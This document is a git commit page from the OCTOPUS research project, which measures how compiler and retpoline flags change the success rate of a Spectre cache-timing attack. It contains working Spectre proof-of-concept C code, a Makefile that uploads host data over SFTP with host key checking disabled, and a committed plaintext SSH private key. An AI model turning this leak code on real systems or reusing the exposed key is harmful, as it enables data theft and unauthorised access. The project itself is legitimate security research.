Refactor spectre.c and add multiple targets to the Makefile:
- GCC support - RETPOLINE for both GCC and clang - LLD dynamic linker to support RETPOLINE mitigations on dynamic executables - Results aggregation using SFTP
This commit is contained in:
parent
698d4f7921
commit
4a0dacbfa3
1
.gitignore
vendored
1
.gitignore
vendored
@ -1 +1,2 @@
|
|||||||
spectre-*
|
spectre-*
|
||||||
|
*.log
|
||||||
|
119
Makefile
119
Makefile
@ -1,7 +1,12 @@
|
|||||||
DEPENDENCIES= glibc-static
|
.PHONY: clean build upload
|
||||||
|
.SILENT:
|
||||||
|
.NOTPARALLEL:
|
||||||
|
|
||||||
|
EXECUTABLES = clang gcc uuid rsync
|
||||||
|
DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /dev/null),X,$(error "No '$(exec)' in PATH, please install it and restart octopus !")))
|
||||||
|
|
||||||
|
|
||||||
CC= clang
|
### Generic flags
|
||||||
PROG= spectre
|
PROG= spectre
|
||||||
CFLAGS= -march=native
|
CFLAGS= -march=native
|
||||||
CFLAGS+= -W
|
CFLAGS+= -W
|
||||||
@ -9,36 +14,104 @@ CFLAGS+= -Wall
|
|||||||
CFLAGS+= -Werror
|
CFLAGS+= -Werror
|
||||||
CFLAGS+= -Wno-unused-parameter
|
CFLAGS+= -Wno-unused-parameter
|
||||||
CFLAGS+= -Wno-missing-field-initializers
|
CFLAGS+= -Wno-missing-field-initializers
|
||||||
|
LDFLAGS= -fuse-ld=lld
|
||||||
|
|
||||||
|
### Octopus flags
|
||||||
|
CCS= clang gcc
|
||||||
OPTIMIZATIONS= 0 1 2 3
|
OPTIMIZATIONS= 0 1 2 3
|
||||||
LINKAGE= static
|
RETPOLINE= mretpoline
|
||||||
|
UUID= $(shell uuid)
|
||||||
|
RESULTS_FILE= results-$(UUID).log
|
||||||
|
SSH_KEY= octoupload
|
||||||
|
TIMES= 1
|
||||||
|
#FLAGS= -v
|
||||||
|
|
||||||
OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG)))
|
### Octopus internals
|
||||||
PROGS+= $(OPROGS) $(foreach L, $(LINKAGE), $(addsuffix -$(L), $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG)))))
|
TEMP= $(shell mktemp)
|
||||||
|
TEE= | tee -a $(TEMP)
|
||||||
|
|
||||||
.PHONY: clean
|
### Compilers
|
||||||
.SILENT:
|
CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(PROG)))
|
||||||
.NOTPARALLEL:
|
|
||||||
|
|
||||||
all: $(PROGS)
|
### Optimizations
|
||||||
echo -e "\033[1mCPU\t\t" $$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}')
|
OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS)))
|
||||||
echo -e "Kernel\t\t" $$(uname -a)
|
|
||||||
echo -e "Test date\t" $$(date "+%d-%m-%Y")
|
### Static
|
||||||
echo -e "Clang\t\t" $$(clang -v 2>&1 | head -n 1)"\033[0m"
|
SPROGS= $(addsuffix -static, $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS))))
|
||||||
|
|
||||||
|
### Retpoline
|
||||||
|
## clang
|
||||||
|
# dynamic
|
||||||
|
RCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(OPROGS)))
|
||||||
|
# static
|
||||||
|
RSCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(SPROGS)))
|
||||||
|
## gcc
|
||||||
|
# dynamic
|
||||||
|
RGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(OPROGS)))
|
||||||
|
# static
|
||||||
|
RSGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(SPROGS)))
|
||||||
|
|
||||||
|
PROGS= $(OPROGS)
|
||||||
|
PROGS+= $(SPROGS)
|
||||||
|
PROGS+= $(RCPROGS)
|
||||||
|
PROGS+= $(RSCPROGS)
|
||||||
|
PROGS+= $(RGROGS)
|
||||||
|
PROGS+= $(RSGPROGS)
|
||||||
|
|
||||||
|
|
||||||
|
all: upload
|
||||||
|
|
||||||
|
upload: $(RESULTS_FILE)
|
||||||
|
echo -e "\033[4mUploading $^ to www.sk4.nz\033[0m"
|
||||||
|
sftp -b - -i $(SSH_KEY) -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
|
||||||
|
octoupload@www.sk4.nz: <<< $$'put $^'
|
||||||
|
|
||||||
|
build: $(PROGS)
|
||||||
|
|
||||||
|
%.log: build
|
||||||
|
echo -e "\033[1m\033[94m________ __";
|
||||||
|
echo "\_____ \ _____/ |_ ____ ______ __ __ ______";
|
||||||
|
echo " / | \_/ ___\ __\/ _ \\____ \| | \/ ___/";
|
||||||
|
echo "/ | \ \___| | ( <_> ) |_> > | /\___ \ ";
|
||||||
|
echo "\_______ /\___ >__| \____/| __/|____//____ >";
|
||||||
|
echo -e " \/ \/ |__| \/\033[0m";
|
||||||
|
echo -e " Samuel AUBERTIN - EURECOM\n"
|
||||||
|
echo -e "\033[4mUUID\033[0m\t\t$(UUID)" $(TEE)
|
||||||
|
echo -e "\033[4mCPU\033[0m\t\t"$$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') $(TEE)
|
||||||
|
echo -e "\033[4mMicrocode\033[0m\t"$$(grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}') $(TEE)
|
||||||
|
echo -e "\033[4mKernel\033[0m\t\t"$$(uname -svm) $(TEE)
|
||||||
|
echo -e "\033[4mKRETPOLINE\033[0m\t"$$(cat /boot/config-$$(uname -r) | grep RETPOLINE)
|
||||||
|
echo -e "\033[4mClang\033[0m\t\t"$$(clang -v 2>&1 | head -n 1) $(TEE)
|
||||||
|
echo -e "\033[4mGCC\033[0m\t\t"$$(gcc -v 2>&1 | grep 'gcc version') $(TEE)
|
||||||
|
echo -e "\033[4mVulnerablities\033[0m" $(TEE)
|
||||||
|
LC_ALL=en_US.UTF-8 lscpu | grep Vuln | awk '{s = ""; for(i = 2; i <= NF; i++) s = s $$i " "; print "\t\t" s }' $(TEE)
|
||||||
|
echo
|
||||||
|
taskset 01 ./$(firstword $(PROGS)) -c $(TEE); \
|
||||||
for p in $(PROGS); do \
|
for p in $(PROGS); do \
|
||||||
sleep 1; \
|
for t in $$(seq $(TIMES)); do \
|
||||||
echo -e "\033[4m$$p\033[0m "; \
|
sleep 1; \
|
||||||
taskset 01 ./$$p; \
|
taskset 01 ./$$p $(FLAGS) $(TEE); \
|
||||||
echo; done
|
done \
|
||||||
|
done
|
||||||
|
mv $(TEMP) $@
|
||||||
|
|
||||||
|
$(OPROGS):
|
||||||
|
$(word 2, $(subst -, ,$@)) $(CFLAGS) $(LDFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
$(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))):
|
$(SPROGS):
|
||||||
$(CC) $(CFLAGS) -$(word 2, $(subst -, ,$@)) -o $@ $(PROG).c
|
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
$(foreach L, $(LINKAGE), $(addsuffix -$(L), $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))))):
|
$(RCPROGS):
|
||||||
$(CC) $(addprefix -, $(word 3, $(subst -, ,$@))) $(CFLAGS) -$(word 2, $(subst -, ,$@)) -o $@ $(PROG).c
|
$(word 2, $(subst -, ,$@)) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
|
$(RSCPROGS):
|
||||||
|
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mretpoline -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
|
$(RGPROGS):
|
||||||
|
$(word 2, $(subst -, ,$@)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
|
$(RSGPROGS):
|
||||||
|
$(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(PROGS)
|
rm -rf $(PROGS) *.log
|
||||||
|
29
README.md
29
README.md
@ -7,16 +7,24 @@ Samuel AUBERTIN - EURECOM - 2022
|
|||||||
|
|
||||||
**OCTOPUS** is a [Spectre v2](https://spectreattack.com/spectre.pdf) (_Branch Target Injection_) compiler flag tester for [CVE 2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715).
|
**OCTOPUS** is a [Spectre v2](https://spectreattack.com/spectre.pdf) (_Branch Target Injection_) compiler flag tester for [CVE 2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715).
|
||||||
|
|
||||||
It measures the success rate of the same attack using different compiler flags such as:
|
It measures the success rate of the same attack using different compilers:
|
||||||
|
|
||||||
|
- GCC
|
||||||
|
- CLANG
|
||||||
|
|
||||||
|
And compilation/linking flags such as:
|
||||||
|
|
||||||
- Optimisation levels (```-O```)
|
- Optimisation levels (```-O```)
|
||||||
- Static linking
|
- Static linking
|
||||||
- TODO
|
- RETPOLINE
|
||||||
|
|
||||||
## Dependencies
|
## Dependencies
|
||||||
|
|
||||||
- ```clang```
|
- ```clang```
|
||||||
- ```glibc-static```
|
- ```gcc```
|
||||||
|
- ```sftp```
|
||||||
|
- ```uuid```
|
||||||
|
- The libC static symbols ```glibc-static```
|
||||||
|
|
||||||
## Execution
|
## Execution
|
||||||
|
|
||||||
@ -24,9 +32,18 @@ It measures the success rate of the same attack using different compiler flags s
|
|||||||
|
|
||||||
## Results aggregation
|
## Results aggregation
|
||||||
|
|
||||||
TODO
|
Results are automatically uploaded to a server with ```sftp``` using a dedicated account.
|
||||||
- Craft a JSON with metadata
|
|
||||||
- Upload over SFTP with dedicated ssh key
|
Here is an exhaustive list of the data sent:
|
||||||
|
- CPU model name and microcode version.
|
||||||
|
- Kernel version and compilation date.
|
||||||
|
- The kernel compilation flag ```CONFIG_RETPOLINE```.
|
||||||
|
- GCC and clang versions.
|
||||||
|
- The list of mitigations enabled at runtime.
|
||||||
|
- The cache timings of the processor computed by the ```calibrate_threshold()``` function.
|
||||||
|
- Each spectre execution success rate.
|
||||||
|
|
||||||
|
**NONE** of this data will be used for anyhting else except this experiment.
|
||||||
|
|
||||||
## Sources
|
## Sources
|
||||||
|
|
||||||
|
7
octoupload
Normal file
7
octoupload
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||||
|
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||||
|
QyNTUxOQAAACDRMHpltlVQQGQ/TUefHbUm0D95n41qmshPfgEuPT9g2AAAAJDstvkV7Lb5
|
||||||
|
FQAAAAtzc2gtZWQyNTUxOQAAACDRMHpltlVQQGQ/TUefHbUm0D95n41qmshPfgEuPT9g2A
|
||||||
|
AAAEAVqIlF6M6PT9cLOCeUjxEr8K5Xb6IlU8JkZTaLcSihxdEwemW2VVBAZD9NR58dtSbQ
|
||||||
|
P3mfjWqayE9+AS49P2DYAAAACm9jdG91cGxvYWQBAgM=
|
||||||
|
-----END OPENSSH PRIVATE KEY-----
|
177
spectre.c
177
spectre.c
@ -17,13 +17,7 @@ static int _has_rdtscp;
|
|||||||
#error "unsupported architecture"
|
#error "unsupported architecture"
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if defined(__i386__)
|
#define HAVE_RDTSCP (1U << 27)
|
||||||
#define PUSH(r) "pushl %%e" #r "x\n"
|
|
||||||
#define POP(r) "popl %%e" #r "x\n"
|
|
||||||
#elif defined(__amd64__)
|
|
||||||
#define PUSH(r) "pushq %%r" #r "x\n"
|
|
||||||
#define POP(r) "popq %%r" #r "x\n"
|
|
||||||
#endif
|
|
||||||
|
|
||||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||||
|
|
||||||
@ -37,7 +31,9 @@ unsigned cache_hit_threshold;
|
|||||||
int verbose;
|
int verbose;
|
||||||
|
|
||||||
static inline unsigned
|
static inline unsigned
|
||||||
timedaccess(volatile uint8_t *addr)
|
timed_access(
|
||||||
|
volatile uint8_t *addr
|
||||||
|
)
|
||||||
{
|
{
|
||||||
uint64_t t0, t1;
|
uint64_t t0, t1;
|
||||||
#pragma GCC diagnostic ignored "-Wuninitialized"
|
#pragma GCC diagnostic ignored "-Wuninitialized"
|
||||||
@ -56,78 +52,73 @@ timedaccess(volatile uint8_t *addr)
|
|||||||
return (unsigned)(t1 - t0);
|
return (unsigned)(t1 - t0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static inline void
|
||||||
|
native_cpuid(
|
||||||
|
unsigned int *eax,
|
||||||
|
unsigned int *ebx,
|
||||||
|
unsigned int *ecx,
|
||||||
|
unsigned int *edx
|
||||||
|
)
|
||||||
|
{
|
||||||
|
asm volatile("cpuid"
|
||||||
|
: "=a" (*eax),
|
||||||
|
"=b" (*ebx),
|
||||||
|
"=c" (*ecx),
|
||||||
|
"=d" (*edx)
|
||||||
|
: "0" (*eax), "2" (*ecx));
|
||||||
|
}
|
||||||
|
|
||||||
static void
|
static void
|
||||||
calibrate_clock(int verbose, unsigned int *threshold)
|
calibrate_threshold(
|
||||||
|
int verbose,
|
||||||
|
unsigned int *threshold
|
||||||
|
)
|
||||||
{
|
{
|
||||||
volatile char buf[2 * CACHELINESIZE];
|
volatile char buf[2 * CACHELINESIZE];
|
||||||
volatile uint8_t *bufp;
|
volatile uint8_t *bufp;
|
||||||
__attribute__((unused)) volatile int junk = 0;
|
|
||||||
int i;
|
int i;
|
||||||
const int cnt = 1000;
|
const int cnt = 1000;
|
||||||
uint64_t tcache, tmem;
|
uint64_t tcache, tmem;
|
||||||
unsigned cap;
|
unsigned eax, ebx, ecx, edx;
|
||||||
|
__attribute__((unused)) volatile int junk = 0;
|
||||||
|
|
||||||
__asm__ volatile (
|
eax = 0x80000001; // Has RDTSCP ?
|
||||||
PUSH(a)
|
ecx = 0;
|
||||||
PUSH(b)
|
native_cpuid(&eax, &ebx, &ecx, &edx);
|
||||||
PUSH(c)
|
if (edx & HAVE_RDTSCP) {
|
||||||
PUSH(d)
|
switch (verbose) {
|
||||||
"mov $0x80000001,%%eax\n"
|
case 1:
|
||||||
"mov $0,%%ecx\n"
|
fprintf(stderr, "CPU has RDTSCP.\n");
|
||||||
"cpuid\n"
|
break;
|
||||||
"mov %%edx,%0\n"
|
case 2:
|
||||||
POP(d)
|
fprintf(stdout, "CPU has RDTSCP.\n");
|
||||||
POP(c)
|
break;
|
||||||
POP(b)
|
}
|
||||||
POP(a)
|
|
||||||
: "=m" (cap)
|
|
||||||
/*
|
|
||||||
* clang sometimes stores the result using an offset relative to
|
|
||||||
* %esp! That won't work, because we modify %esp with push and pop.
|
|
||||||
* Hence, prevent them compiler from using %esp!
|
|
||||||
*/
|
|
||||||
:: "esp" );
|
|
||||||
|
|
||||||
#define HAVE_RDTSCP (1U << 27)
|
|
||||||
if (cap & HAVE_RDTSCP) {
|
|
||||||
if (verbose)
|
|
||||||
printf("CPU has RDTSCP\n");
|
|
||||||
_has_rdtscp = 1;
|
_has_rdtscp = 1;
|
||||||
} else {
|
} else {
|
||||||
if (verbose)
|
switch (verbose) {
|
||||||
printf("WARNING: CPU has no RDTSCP support, using RDTSC.\n");
|
case 1:
|
||||||
|
fprintf(stderr, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
fprintf(stdout, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
_has_rdtscp = 0;
|
_has_rdtscp = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* On i386 PIC we have to preserve %ebx, too */
|
|
||||||
__asm__ volatile (
|
|
||||||
PUSH(a)
|
|
||||||
PUSH(b)
|
|
||||||
PUSH(c)
|
|
||||||
PUSH(d)
|
|
||||||
"mov $0x7,%%eax\n"
|
|
||||||
"mov $0,%%ecx\n"
|
|
||||||
"cpuid\n"
|
|
||||||
"mov %%ebx, %0\n"
|
|
||||||
POP(d)
|
|
||||||
POP(c)
|
|
||||||
POP(b)
|
|
||||||
POP(a)
|
|
||||||
: "=m" (cap)
|
|
||||||
:: "esp" );
|
|
||||||
|
|
||||||
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) &
|
bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) &
|
||||||
~(CACHELINESIZE - 1)));
|
~(CACHELINESIZE - 1)));
|
||||||
|
|
||||||
junk |= *bufp;
|
junk |= *bufp;
|
||||||
for (i = 0, tcache = 0; i < cnt; i++)
|
for (i = 0, tcache = 0; i < cnt; i++)
|
||||||
tcache += timedaccess(bufp);
|
tcache += timed_access(bufp);
|
||||||
tcache /= cnt;
|
tcache /= cnt;
|
||||||
|
|
||||||
for (i = 0, tmem = 0; i < cnt; i++) {
|
for (i = 0, tmem = 0; i < cnt; i++) {
|
||||||
_mm_clflush((const void *)bufp);
|
_mm_clflush((const void *)bufp);
|
||||||
_mm_mfence();
|
_mm_mfence();
|
||||||
tmem += timedaccess(bufp);
|
tmem += timed_access(bufp);
|
||||||
}
|
}
|
||||||
tmem /= cnt;
|
tmem /= cnt;
|
||||||
if (threshold != NULL) {
|
if (threshold != NULL) {
|
||||||
@ -136,16 +127,28 @@ calibrate_clock(int verbose, unsigned int *threshold)
|
|||||||
(*threshold)--;
|
(*threshold)--;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (verbose) {
|
switch (verbose) {
|
||||||
printf("Access time: memory %lu, cache %lu", tmem, tcache);
|
case 1:
|
||||||
if (threshold)
|
fprintf(stderr, "Access time: memory %lu, cache %lu", tmem, tcache);
|
||||||
printf(" -> threshold %d", *threshold);
|
if (threshold)
|
||||||
printf("\n");
|
fprintf(stderr, " -> threshold %d", *threshold);
|
||||||
|
fprintf(stderr, "\n");
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
fprintf(stdout, "Access time: memory %lu, cache %lu", tmem, tcache);
|
||||||
|
if (threshold)
|
||||||
|
fprintf(stdout, " -> threshold %d", *threshold);
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
void victim_function(size_t x) {
|
void
|
||||||
|
victim_function(
|
||||||
|
size_t x
|
||||||
|
)
|
||||||
|
{
|
||||||
if (x < array1_size) {
|
if (x < array1_size) {
|
||||||
temp &= array2[array1[x] * 512];
|
temp &= array2[array1[x] * 512];
|
||||||
}
|
}
|
||||||
@ -153,17 +156,16 @@ void victim_function(size_t x) {
|
|||||||
|
|
||||||
void
|
void
|
||||||
leak(
|
leak(
|
||||||
size_t malicious_x,
|
size_t malicious_x,
|
||||||
uint8_t value[2],
|
uint8_t value[2],
|
||||||
int score[2],
|
int score[2],
|
||||||
unsigned cache_hit_threshold
|
unsigned cache_hit_threshold
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
static int results[256];
|
static int results[256];
|
||||||
int tries, i, j, mix_i;
|
int tries, i, j, mix_i;
|
||||||
unsigned int junk = 0;
|
unsigned int junk = 0;
|
||||||
size_t training_x, x;
|
size_t training_x, x;
|
||||||
register uint64_t time1, time2;
|
|
||||||
volatile uint8_t *addr;
|
volatile uint8_t *addr;
|
||||||
|
|
||||||
for (i = 0; i < 256; i++)
|
for (i = 0; i < 256; i++)
|
||||||
@ -185,7 +187,6 @@ leak(
|
|||||||
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
|
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
|
||||||
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
|
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
|
||||||
x = training_x ^ (x & (malicious_x ^ training_x));
|
x = training_x ^ (x & (malicious_x ^ training_x));
|
||||||
|
|
||||||
/* Call the victim! */
|
/* Call the victim! */
|
||||||
victim_function(x);
|
victim_function(x);
|
||||||
|
|
||||||
@ -195,32 +196,31 @@ leak(
|
|||||||
for (i = 0; i < 256; i++) {
|
for (i = 0; i < 256; i++) {
|
||||||
mix_i = ((i * 167) + 13) & 255;
|
mix_i = ((i * 167) + 13) & 255;
|
||||||
addr = & array2[mix_i * 512];
|
addr = & array2[mix_i * 512];
|
||||||
time1 = __rdtscp(& junk); /* READ TIMER */
|
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
||||||
junk = *addr; /* MEMORY ACCESS TO TIME */
|
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
||||||
time2 = __rdtscp(& junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
|
|
||||||
if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
|
||||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Locate highest & second-highest results tallies in j */
|
/* Locate highest results in j */
|
||||||
j = -1;
|
j = -1;
|
||||||
for (i = 0; i < 256; i++) {
|
for (i = 0; i < 256; i++) {
|
||||||
if (j < 0 || results[i] >= results[j]) {
|
if (j < 0 || results[i] >= results[j]) {
|
||||||
j = i;
|
j = i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (results[j] == 3)
|
if (results[j] >= 3)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||||
value[0] = (uint8_t) j;
|
value[0] = (uint8_t) j;
|
||||||
score[0] = results[j];
|
score[0] = results[j];
|
||||||
//value[1] = (uint8_t) k;
|
|
||||||
//score[1] = results[k];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int
|
int
|
||||||
main(int argc, char ** argv)
|
main(
|
||||||
|
int argc,
|
||||||
|
char** argv
|
||||||
|
)
|
||||||
{
|
{
|
||||||
int o;
|
int o;
|
||||||
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
|
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
|
||||||
@ -228,17 +228,20 @@ main(int argc, char ** argv)
|
|||||||
uint8_t value[2];
|
uint8_t value[2];
|
||||||
unsigned sucesses = 0;
|
unsigned sucesses = 0;
|
||||||
|
|
||||||
while ((o = getopt(argc, argv, "t:v")) != EOF) {
|
while ((o = getopt(argc, argv, "t:vc")) != EOF) {
|
||||||
switch (o) {
|
switch (o) {
|
||||||
case 't':
|
case 't':
|
||||||
cache_hit_threshold = atoi(optarg);
|
cache_hit_threshold = atoi(optarg);
|
||||||
break;
|
break;
|
||||||
case 'v':
|
case 'v':
|
||||||
verbose++;
|
verbose++;
|
||||||
break;
|
break;
|
||||||
|
case 'c':
|
||||||
|
calibrate_threshold(2, &cache_hit_threshold);
|
||||||
|
return 0;
|
||||||
default:
|
default:
|
||||||
usage:
|
usage:
|
||||||
fprintf(stderr, "usage: %s [-v] "
|
fprintf(stderr, "usage: %s [-v] [-c] "
|
||||||
"[-t threshold]\n", argv[0]);
|
"[-t threshold]\n", argv[0]);
|
||||||
return 2;
|
return 2;
|
||||||
}
|
}
|
||||||
@ -246,14 +249,12 @@ main(int argc, char ** argv)
|
|||||||
if (argc != optind)
|
if (argc != optind)
|
||||||
goto usage;
|
goto usage;
|
||||||
|
|
||||||
calibrate_clock(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold);
|
calibrate_threshold(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||||
for (i = 0; i < (int)sizeof(array2); i++)
|
for (i = 0; i < (int)sizeof(array2); i++)
|
||||||
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
||||||
if(verbose) {
|
if(verbose) {
|
||||||
printf("Threshold is: %d\n", cache_hit_threshold);
|
fprintf(stderr, "Leaking %d bytes using Branch Target Injection:\n", (int)strlen(secret));
|
||||||
printf("Leaking %d bytes:\n", (int)strlen(secret));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
while (--len >= 0) {
|
while (--len >= 0) {
|
||||||
leak(malicious_x++, value, score, cache_hit_threshold);
|
leak(malicious_x++, value, score, cache_hit_threshold);
|
||||||
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
|
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
|
||||||
@ -264,9 +265,7 @@ main(int argc, char ** argv)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
fprintf(stderr, "\n");
|
fprintf(stderr, "\n");
|
||||||
printf("%.0f%%\n", 100 * sucesses / (float)strlen(secret));
|
printf("%s: %.0f %%\n", argv[0] + 2, 100 * sucesses / (float)strlen(secret));
|
||||||
|
|
||||||
_mm_mfence();
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user